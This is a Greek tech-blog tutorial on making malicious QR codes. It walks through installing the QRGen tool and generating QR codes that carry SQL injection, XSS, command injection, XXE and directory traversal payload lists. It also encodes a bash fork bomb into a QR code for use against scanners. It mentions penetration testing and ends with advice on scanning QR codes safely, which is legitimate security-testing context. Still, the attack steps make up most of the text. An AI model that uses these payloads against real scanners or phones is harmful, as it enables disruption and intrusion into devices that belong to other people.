Δημιουργήστε κακόβουλους QR κωδικούς για να χακάρετε τηλέφωνα και σαρωτές


Οι κωδικοί QR βρίσκονται παντού, από τη συσκευασίες των προϊόντων μέχρι τις κάρτες επιβίβασης αεροπορικών εταιρειών, καθιστώντας τους σαρωτές που τους διαβάζουν έναν λαχταριστό στόχο για τους χάκερ.

infoguard cyber security qr code security

Χάρη σε ελαττώματα σε πολλές από αυτές τις συσκευές σάρωσης, είναι δυνατή η εκμετάλλευση κοινών τρωτών σημείων χρησιμοποιώντας exploits διαμορφωμένα σε προσαρμοσμένους κώδικες QR. Ένα εργαλείο που ονομάζεται QRGen μπορεί να δημιουργήσει κακόβουλους κωδικούς QR και ακόμη και να κωδικοποιήσει προσαρμοσμένα payloads.

Αυτές οι επιθέσεις είναι αρκετά εύστοχες επειδή οι άνθρωποι δεν μπορούν να διαβάσουν ή να κατανοήσουν τις πληροφορίες που περιέχονται σε έναν κωδικό QR χωρίς να τον σαρώσουν, εκθέτοντας ενδεχομένως οποιαδήποτε συσκευή που χρησιμοποιείται για την προσπάθεια αποκρυπτογράφησης του κώδικα στο exploit που περιέχεται μέσα.

Ακόμη και οι σαρωτές κώδικα QR, όπως τα smartphones, μπορεί να είναι ευάλωτοι σε αυτού του είδους τις επιθέσεις, καθώς διαπιστώθηκε ότι οι κωδικοί QR μπορούν να παρασύρουν τους χρήστες iPhone σε κακόβουλους ιστότοπους.

Τι είναι οι κωδικοί QR;

Οι κωδικοί QR είναι αναγνώσιμες μορφές δεδομένων που είναι χρήσιμες για οτιδήποτε χρειάζεται να σαρωθεί αυτόματα. Πριν από τους κωδικούς QR, υπήρχαν πολλές άλλες μορφές που ονομάζονταν γραμμικοί κώδικες, οι οποίοι επίσης αποθήκευαν δεδομένα με τρόπο που ήταν εύκολο να διαβάσουν τα μηχανήματα.

Πιθανότατα έχετε δει έναν γραμμωτό κώδικα UPC όπως αυτός που ακολουθεί στα προϊόντα, καθώς χρησιμοποιείται συχνά για την αναγνώριση αντικειμένων προς πώληση, ώστε οι ταμίες να μπορούν να τους σαρώσουν για να επιτρέψουν την ταχύτερη πληρωμή.

create malicious qr codes hack phones other

Ο γραμμωτός κώδικας UPC, ή ο Παγκόσμιος Κωδικός Προϊόντος, χρησιμοποιείται από το 1974. Στοχεύει κυρίως το λιανικό εμπόριο και κωδικοποιεί μόνο μια σειρά αριθμών, καθιστώντας τον περιορισμένο. Ενώ υπάρχουν πολλοί διαφορετικοί τύποι γραμμικών κωδικών, δεν είναι σε θέση να αποθηκεύσουν πολλές πληροφορίες.

2D Barcodes για περισσότερα δεδομένα

Η απάντηση στον περιορισμό των γραμμικών κωδίκων ήταν οι 2D κώδικες, οι οποίοι προσφέρουν μεγαλύτερη αποθήκευση πληροφοριών που περιέχονται μέσα σε αυτούς. Μερικοί από τους πρώτους δισδιάστατους κωδικούς έμοιαζαν με τον παρακάτω, ο οποίος χρησιμοποιείται ευρέως ακόμα και σήμερα.

aztec code

Ο Aztec code (κώδικας των Αζτέκων) είναι ένας 2D, παρόμοιος με έναν κωδικό QR και μπορεί να περιέχει περισσότερες πληροφορίες από έναν γραμμικό κώδικα. Αρχικά αναπτύχθηκε για logistics, μπορεί να το δείτε να χρησιμοποιείται σε πακέτα και φακέλους όταν χρειάζεται να αποθηκευτούν περισσότερα δεδομένα από όσα μπορεί να παρέχει ένας γραμμικός κώδικας.

Άλλοι τύποι κωδίκων 2D μπορεί να περιέχουν εξαιρετικά μεγάλο όγκο δεδομένων. Η μορφή PDF417 που βρίσκεται στο πίσω μέρος των περισσότερων αδειών οδήγησης στις Ηνωμένες Πολιτείες, για παράδειγμα, μπορεί να κωδικοποιήσει έως και 1800 χαρακτήρες ASCII.

σφσδ

Οι κωδικοί PDF417 όπως παραπάνω μπορούν να κωδικοποιήσουν κείμενο, αριθμούς, αρχεία και πραγματικά byte δεδομένων και είναι πιο ανθεκτικοί σε σφάλματα από τους γραμμικούς κώδικες. Εταιρείες όπως η FedEx χρησιμοποιούν έναν συνδυασμό PDF417 και άλλων γραμμωτών κωδίκων στα δελτία συσκευασίας τους για να αυτοματοποιήσουν την παράδοση και την παρακολούθησή τους.

Τι μπορούν να κάνουν οι κωδικοί με περισσότερα δεδομένα;

Οι κωδικοί QR ξεκίνησαν στην αυτοκινητοβιομηχανία ως ένας τρόπος για να παρακολουθούν τα αυτοκίνητα καθώς κατασκευάζονταν, αλλά γρήγορα αυξήθηκαν σε δημοτικότητα εκτός αυτής της βιομηχανίας. Παρόμοια με άλλους δισδιάστατους κωδικούς, οι κωδικοί QR μπορούν να συσκευάσουν μεγάλο όγκο δεδομένων και μπορούν ακόμη και να λειτουργήσουν όταν μειωθούν σε ανάλυση ή καταστραφούν.

frame2

Ένας μεμονωμένος κωδικός QR μπορεί να περιέχει 4.296 χαρακτήρες ASCII, γεγονός που καθιστά δυνατό να είστε πολύ πιο δημιουργικοί σχετικά με το τι μπορείτε να κάνετε με αυτούς. Μπορείτε ακόμη να μορφοποιήσετε τα δεδομένα ώστε να πράτουν ενέργειες όταν τα αναγνωρίζει μια συσκευή ανάγνωσης.

Μια συναρπαστική εφαρμογή των κωδικών QR που ενεργοποιούνται από τη μεγαλύτερη χωρητικότητα δεδομένων τους είναι η χρήση τους για τη διαχείριση των συνδέσεων Wi-Fi χωρίς κοινή χρήση του κωδικού πρόσβασης σε απλό κείμενο.

Κωδικοποιώντας την ακόλουθη συμβολοσειρά, μπορείτε να δημιουργήσετε έναν κωδικό QR που καταγράφει αυτόματα τους χρήστες Android σε ένα δίκτυο Wi-Fi.

WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>;

Όποιος σαρώνει τον κωδικό QR σε μια συσκευή Android θα βρεθεί αυτόματα συνδεδεμένος στο κωδικοποιημένο δίκτυο Wi-Fi. Για να μάθετε πόσα δεδομένα μπορεί να συσκευάσει ένας κωδικός QR, ρίξτε μια ματιά σε αυτόν τον κωδικό:

2

Αυτός ο μικροσκοπικός κώδικας περιέχει το ακόλουθο κείμενο:

Version 40 QR Code can contain up to 1852 chars.
A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones.
The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data.
Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes.
The QR code was designed to allow its contents to be decoded at high speed.
The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes.
Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context,
including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed mobile tagging).
QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message.
Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps.

Το κείμενο που περιέχεται στην εικόνα είναι μεγαλύτερο από τον ίδιο τον κωδικό QR! Η χωρητικότητα καθιστά τους κωδικούς QR τόσο ισχυρούς όσο και επικίνδυνους, επειδή οι άνθρωποι δεν μπορούν να κατανοήσουν τα δεδομένα μέσα σε αυτά χωρίς να τα σαρώσουν πρώτα.

QRgen για QR Code Hacking

Επειδή ένας άνθρωπος δεν μπορεί να εντοπίσει έναν κακόβουλο κωδικό QR πριν τον σαρώσει, το σχετικά μεγάλο payload ενός κωδικού QR μπορεί να λειτουργήσει προς όφελος ενός χάκερ, ειδικά όταν συνδυάζεται με ευάλωτες συσκευές. Το εργαλείο που θα χρησιμοποιήσουμε σήμερα για να τα δημιουργήσουμε, ονομάζεται QRGen. Θα πάρει ένα payload και θα το κωδικοποιήσει σε έναν κωδικό QR χρησιμοποιώντας Python.

Το QRGen έρχεται με μια ενσωματωμένη βιβλιοθήκη που περιέχει πολλά δημοφιλή exploits, τα οποία είναι εξαιρετικά χρήσιμα αν έχετε χρόνο να καθίσετε με την ίδια συσκευή που θέλετε να εκμεταλλευτείτε και να μάθετε ποια λειτουργούν για αυτήν.

Για έναν pentester που θέλει να ελέγξει οτιδήποτε χρησιμοποιεί έναν σαρωτή κώδικα QR, η απλή αγορά του ίδιου του σαρωτή και η εκτέλεση των exploits μπορεί να τον οδηγήσει στο να συμπεριφέρεται ο σαρωτής με απροσδόκητους τρόπους.

Οι κατηγορίες payload που είναι διαθέσιμες στο QRGen, είναι προσβάσιμες χρησιμοποιώντας την σημαία -l και έναν αριθμό κατά την εκτέλεση του script. Ο αριθμός και ο τύπος payload παρατίθενται παρακάτω.

0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Για να δημιουργήσω μια δέσμη κακόβουλων κωδικών QR που περιλαμβάνουν payloads με ασαφή συμβολοσειρά, θα πρέπει απλώς να εκτελέσω το QRGen.py -l 5 και θα έχω πολλούς κωδικούς για δοκιμή.

Τι θα χρειαστείτε

Για να χρησιμοποιήσετε το QRGen, θα χρειαστεί να εγκαταστήσετε την Python3. Επειδή είναι cross-platform, θα πρέπει να είναι δυνατό να γίνει σε οποιοδήποτε λειτουργικό σύστημα. Θα χρειαστείτε επίσης μερικές βιβλιοθήκες Python, συμπεριλαμβανομένων των qrcode, Pillow και argparse, τις οποίες θα εγκαταστήσουμε κατά τη διάρκεια της εγκατάστασης.

Βήμα 1: Εγκαταστήστε το QRGen

Για να ξεκινήσουμε με το QRGen, θα χρειαστεί να κατεβάσουμε το αποθετήριο από το GitHub . Θα το κάνουμε αυτό εκτελώντας την παρακάτω εντολή σε ένα παράθυρο τερματικού.

~$ git clone https://github.com/h0nus/QRGen

Cloning into 'QRGen'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (86/86), done.
remote: Compressing objects: 100% (78/78), done.
remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0
Unpacking objects: 100% (86/86), done.

Μόλις ολοκληρωθεί η λήψη του αποθετηρίου, αλλάξτε ( cd ) τον κατάλογό του και γράψτε ls για να δείτε τα περιεχόμενά του και να βρείτε το αρχείο των απαιτήσεων.

~$ cd QRGen
~/QRGen$ ls

demo.gif  qrgen.py  README.md  requirements.txt  words

Τώρα, θα πρέπει να βεβαιωθούμε ότι έχουμε εγκαταστήσει όλες τις απαιτούμενες βιβλιοθήκες. Για να το κάνουμε αυτό, θα εκτελέσουμε το αρχείο εγκατάστασης με την ακόλουθη εντολή.

~/QRGen$ pip3 install -r requirements.txt

Collecting qrcode (from -r requirements.txt (line 1))
  Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1)
Collecting argparse (from -r requirements.txt (line 3))
  Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0)
Installing collected packages: qrcode, argparse
Successfully installed argparse-1.4.0 qrcode-6.1

Εάν αυτό δεν λειτουργεί, μπορείτε επίσης να το εγκαταστήσετε με αυτήν την εναλλακτική εντολή.

~/QRGen$ python3 -m pip install -r requirements.txt

Βήμα 2: Δημιουργήστε κακόβουλους κωδικούς QR από έναν τύπο payload

Τώρα, θα πρέπει να μπορείτε να εκτελέσετε το script, πληκτρολογώντας python3 qrgen.py .

~/QRGen$ python3 qrgen.py

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]

Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader

optional arguments:
  -h, --help            show this help message and exit

Options for QRGen:
  --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
                        Set wordlist to use
  --wordlist WORDLIST, -w WORDLIST
                        Use a custom wordlist

Pay attention everywhere, even in the dumbest spot

Όπως μπορείτε να δείτε, είναι πολύ απλό να δημιουργήσετε payloads. Για να ξεκινήσουμε, ας δημιουργήσουμε ένα payload που περιέχει payloads συμβολοσειρών. Για να το κάνετε αυτό, εκτελέστε το QRGen με το ακόλουθο όρισμα.

python3 qrgen.py -l 5

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Θα δημιουργηθεί μια σειρά από κωδικούς QR και ο τελευταίος που δημιουργήθηκε θα ανοίξει αυτόματα.

3

Για να δείτε τα υπόλοιπα payloads, μπορείτε να πληκτρολογήσετε cd genqr να μεταβείτε στον κατάλογο όπου δημιουργούνται και ls για να δείτε το περιεχόμενό τους.

~/QRGen$ cd genqr
~/QRGen/genqr$ ls

payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png
payload-18.png  payload-27.png  payload-36.png  payload-45.png

Βήμα 3: Κωδικοποιήστε προσαρμοσμένα payloads

Για να κωδικοποιήσουμε ένα προσαρμοσμένο payloads, μπορούμε πρώτα να δημιουργήσουμε ένα αρχείο κειμένου που περιέχει αυτό που θέλουμε να κωδικοποιήσουμε. Κάθε γραμμή θα είναι ένα νέο payloads. Αρχικά, μπορούμε να δημιουργήσουμε ένα αρχείο κειμένου πληκτρολογώντας nano badstuff.txt για να δημιουργήσουμε ένα αρχείο κειμένου.

~/QRGen/genqr$ nano badstuff.txt

Σε αυτό το αρχείο κειμένου, μπορούμε να βάλουμε το payload μας. Το παρακάτω είναι ένα fork bomb. Θα λειτουργήσει σε σαρωτή κωδικών QR.

:(){ :|: & };:

Μπορούμε να το αποθηκεύσουμε πατώντας Control X και μετά πατήστε Y και Enter για να επιβεβαιώσετε την αποθήκευσή σας. Τώρα, θα πρέπει να δείτε ένα αρχείο κειμένου που περιέχει το payload σας.

~/QRGen/genqr$ ls

badstuff.txt    payload-18.png  payload-27.png  payload-36.png  payload-45.png
payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png

Για να γράψουμε το payload σε έναν κωδικό QR, θα χρησιμοποιήσουμε την σημαία -w . Αν υποθέσουμε ότι το αρχείο του payload σας ονομάζεται “badstuff.txt”, η εντολή για να το κάνετε αυτό θα πρέπει να μοιάζει όπως παρακάτω (θυμηθείτε να επιστρέψετε στον κατάλογο QRGen).

Εγγραφή στο iGuRu.gr μέσω Email

Εισάγετε το email σας για εγγραφή στην υπηρεσία αποστολής ειδοποιήσεων μέσω email για νέες δημοσιεύσεις.

~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt'

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Για το payload του fork bomb, δημιουργεί τον παρακάτω κωδικό QR, ο οποίος θα εμφανιστεί.
4

Δεν είναι ασφαλή να σαρώνετε όλους τους QR κωδικούς

Οι κωδικοί QR μπορούν να κωδικοποιήσουν πολλές πληροφορίες και όπως μάθαμε σήμερα, μπορούν ακόμη και να μορφοποιηθούν ώστε να αναγκάζουν μια συσκευή να εκτελεί ενέργειες όπως η σύνδεση σε ένα δίκτυο Wi-Fi.

Αυτό καθιστά επικίνδυνη τη σάρωση ενός κωδικού QR, καθώς ένα άτομο δεν έχει τρόπο να διαβάσει τις πληροφορίες πριν εκθέσει τη συσκευή του σε οποιοδήποτε payload περιέχεται μέσα.

Εάν σαρώσετε έναν κωδικό QR που φαίνεται ύποπτος, δώστε προσοχή σε αυτό που επιχειρεί να εκκινήσει ο κωδικός και μην συνδεθείτε σε δίκτυο Wi-Fi, όπως δεν πρέπει να μεταβείτε σε κανένα σύνδεσμο που έχει συντομευτεί σε αυτόν.

Αν και οι περισσότεροι κωδικοί QR θα πρέπει να είναι ασφαλείς για σάρωση σε smartphone, η σάρωση των payloads που δημιουργήσαμε σήμερα σε μια συσκευή για σάρωση εισιτηρίων ή καρτών επιβίβασης μπορεί να οδηγήσει σε κάποια παράξενη συμπεριφορά από τη συσκευή.


Διαβάστε τις Τεχνολογικές Ειδήσεις από όλο τον κόσμο, με την εγκυρότητα του iGuRu.gr

Ακολουθήσετε μας στο Google News iGuRu.gr at Google news